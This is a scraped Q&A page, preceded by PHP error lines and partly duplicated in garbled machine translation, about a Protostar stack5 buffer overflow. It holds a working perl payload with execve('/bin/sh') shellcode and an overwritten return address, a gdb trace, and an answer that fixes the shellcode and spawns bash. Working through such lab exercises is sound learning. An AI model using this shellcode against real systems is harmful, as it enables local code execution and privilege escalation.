Warning: file_get_contents(/data/phpspider/zhask/data//catemap/7/elixir/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/video/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Gdb 外壳代码未正确执行_Gdb_Buffer Overflow_Shellcode - Fatal编程技术网

Gdb 外壳代码未正确执行

Gdb 外壳代码未正确执行,gdb,buffer-overflow,shellcode,Gdb,Buffer Overflow,Shellcode,我正在努力解决这个问题。 这是一本书。 它把返回地址放在后面,我试着把它放在前面,在数组中。 我试过外壳代码,它很有效 看起来一切正常,执行跳转到外壳代码,但我在外壳代码结束后出现了一个分段错误,并且没有生成外壳。我不知道为什么,在gdb中,并非所有外壳代码指令都正确显示。 例如,at0xbffff690应为mov%esp,%ecx非cwtl。也许这就是问题所在?为什么会这样 编辑:由于数组地址在gdb外部启动时会略有不同,因此我们需要一个nop底座。因此,我的方法可能不起作用,因为数组大小太小

我正在努力解决这个问题。 这是一本书。 它把返回地址放在后面,我试着把它放在前面,在数组中。 我试过外壳代码,它很有效

看起来一切正常,执行跳转到外壳代码,但我在外壳代码结束后出现了一个分段错误,并且没有生成外壳。我不知道为什么,在
gdb
中,并非所有外壳代码指令都正确显示。 例如,at
0xbffff690
应为
mov%esp,%ecx
cwtl
。也许这就是问题所在?为什么会这样

编辑:由于数组地址在
gdb
外部启动时会略有不同,因此我们需要一个nop底座。因此,我的方法可能不起作用,因为数组大小太小,无法进行此操作。然而,我仍然想知道为什么外壳代码的结尾在
gdb
中被错误地解释

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
perl-e'print”\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\x50\x68//\x68/bin\x89\xe3\x53\x89\xe1\x99\xb0\x0b\xcd\x80”。“A”x21。“\x60\xf6\xff\xbf”>/tmp/o2
user@protostar:/opt/protostar/bin$gdb-q stack5
从/opt/protostar/bin/stack5读取符号…完成。
(gdb)disas main
主功能的汇编程序代码转储:
0x080483c4:推送%ebp
0x080483c5:mov%esp,%ebp
0x080483c7:和$0xfffffff0,%esp
0x080483ca:子$0x50,%esp
0x080483cd:lea 0x10(%esp),%eax
0x080483d1:mov%eax,(%esp)
0x080483d4:调用0x80482e8
0x080483d9:离开
0x080483da:ret
汇编程序转储结束。
(gdb)b*0x080483da
0x80483da处的断点1:文件stack5/stack5.c,第11行。
(gdb)r
有趣的问题。答案是:堆栈溢出中存在堆栈溢出

在我的系统上,main的反汇编位于稍微不同的地址:

(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    $0xfffffff0,%esp
   0x08048423 <+6>:     sub    $0x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.
下面是我看到的:

0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
到目前为止,一切进展顺利。但请注意当我们到达
0xffffcebe
stepi
时会发生什么:

0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0x0,%al
   0xffffcec5:  add    %al,(%eax)
刚刚执行的
push
将以前位于
0xffffcec5
int80
与其他内容(即
$eax
的内容)重写。这是因为我们在堆栈上执行指令,同时
将值推送到同一堆栈上

另一个
步骤I
,我看到:

(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
=> 0xffffcec0:  enter  $0xffce,$0xff
   0xffffcec4:  add    %al,(%eax)
   0xffffcec6:  add    %al,(%eax)
   0xffffcec8:  das
下一个
stepi
导致
SIGSEGV

(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
那么解决办法是什么呢

当我们在
0xffffce90
处输入代码时,我们的堆栈指向
0xffffcee0
,即仅超过外壳代码80字节。我们的外壳代码长度是54字节。因此,在我们开始破坏外壳代码之前,我们最多可以在堆栈上推送6个字

当前外壳代码推送8个单词,第7次和第8次推送会腐蚀自身

外壳代码需要弹出一些单词(例如,在
0xffffcead
处的第一次系统调用后添加
pop%eax
),或者在输入时使用
add$0x80,%esp
扩展堆栈,以便外壳代码的结尾和堆栈顶部之间有足够的空间

我使用了后者,它起了作用:

(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash

回答得很好。非常感谢。
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash